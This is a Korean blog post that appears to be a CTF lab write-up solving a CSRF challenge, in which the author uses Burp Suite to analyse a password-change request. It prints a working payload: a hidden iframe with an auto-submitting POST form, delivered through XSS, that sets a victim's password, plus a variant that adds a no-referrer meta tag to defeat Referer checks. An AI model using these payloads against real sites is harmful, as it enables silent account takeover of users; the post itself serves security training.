본문 바로가기

보안지식/CSRF

CSRF 공격 - 실습 (2번 풀이)

저번 포스팅에 이어서 풀어보겠습니다.

 

지금은 admin 말고 제 계정의 비밀번호를 변경하겠습니다.

 

 

정상대로 로그인을 하겠습니다.

 

hello

 

CSRF 공격이니 비밀번호 수정하기 위해 마이페이지에 비밀번호를 수정해 보겠습니다!

 

 

 

update!

 

 

그리고 버프 스위트로 확인해 보겠습니다.

 

이번에도 pw만 있으면 수정이 되네요!

 

 

한 번 GET 방식으로 해보겠습니다.

 

 

안되네요! 성공한 응답이 다르잖아요

 

그럼 POST 방식으로 공격을 하면 되겠죠!

 

XSS 공격이랑 병행하면 됩니다. 전 포스팅에 GET 방식으로 공격한 코드에서

form 태그에 POST으로 바꾸기만 하면 됩니다!

 

 

이렇게요

 

 

<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;" sandbox="allow-scripts"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php" target="stealthframe">
<input type="hidden" name="pw" value="12345654321">
</form>
<script>
document.forms[0].submit();
</script>

 

 

이렇게 하시면 iframe 으로 새 창에 form 태그가 보내지는데 높이랑 너비 값이 0이고 style이 none이라

피해자의 눈에 안 보입니다!

그리고 클릭만 해도 이 POST 방식으로 보내지게 스크립트에 document.forms[0].submit() 이용했습니다.

 

 

 

확인 해보겠습니다.

 

좋아요!

 

버프 스위트 통해 확인을 해보니

 

이렇게 성공한 것을 알 수 있습니다!

 

 

결국 POST 방식을 이용하는 것은 XSS 공격을 통해 가능합니다.

 

그니깐 취약점이 발견했는데? POST 방식이면 XSS 공격 통하는 곳을 찾으시면 됩니다!

 

 

 

여기서 조금 더 나아가서 만약 referer이 검증이 되야지만 수정이 가능하고

referer이 없으면 그냥 수정이 된다고 합시다.

 

referer은 요청 중에 헤더 부분에 있어요 그리고 이 referer은 요청을 보낸 위치을 말해요.

만약 비밀번호를 변경할 때 요청은 마이페이지에서 시작하겠죠.

 

요청부분에 Referer 보이시나요? 저기 시작 위치 즉 요청 보낸 위치라고 보시면 되요


그런데 이렇게 게시판에서 비밀번호 변경 요청을 하게 되면 referer에 게시판 URL이 찍히게 되고

서버 컴퓨터는 이를 의심해서 요청을 안 받아 주는 경우가 있습니다.

 

만약 referer 요청이 없거나 이상한 데에서 요청을 보낸거라면 아예 막아 버리는 서버가 있습니다.

거기는 공격하기가 까다로워지겠죠. 그런데 몇몇 서버는 referer이 없으면 그냥 받아 드리는 경우가 있습니다.

 

 

그 referer을 없애는 방법을 알려드릴게요

 

그럼 <meta name="referrer" content="no-referrer"> 이걸 추가 작성하시면 돼요!

 

이렇게요

 

 

<meta name="referrer" content="no-referrer">
<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;" sandbox="allow-scripts"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php" target="stealthframe">
<input type="hidden" name="pw" value="12345654321">
</form>
<script>
document.forms[0].submit();
</script>

 

 

들어가보겠습니다.

 

 

 

그리고..

 

버프 스위트를 확인해보니!

 

Referer 태그가 없어진 것을 알 수 있습니다!

 

글씨가 작아서 확대 했습니다.

 

 

이렇게 Referer 없이 공격이 통하면 저 매타 태그를 이용하여 공격이 가능하다는 것을

보여드렸습니다.

 

감사합니다!

 

5/28 추가 수정을 했습니다 iframe에 sandbox을 추가해서 alert문 안나오게 했습니다.

'보안지식 > CSRF' 카테고리의 다른 글

CSRF 2번 공격 시나리오  (0) 2023.05.28
CSRF 1번 공격 시나리오  (2) 2023.05.27
CSRF 공격 - 실습 (3번 풀이)  (2) 2023.05.22
CSRF 공격 - 실습 (1번 풀이)  (0) 2023.05.21
CSRF 정리  (0) 2023.05.20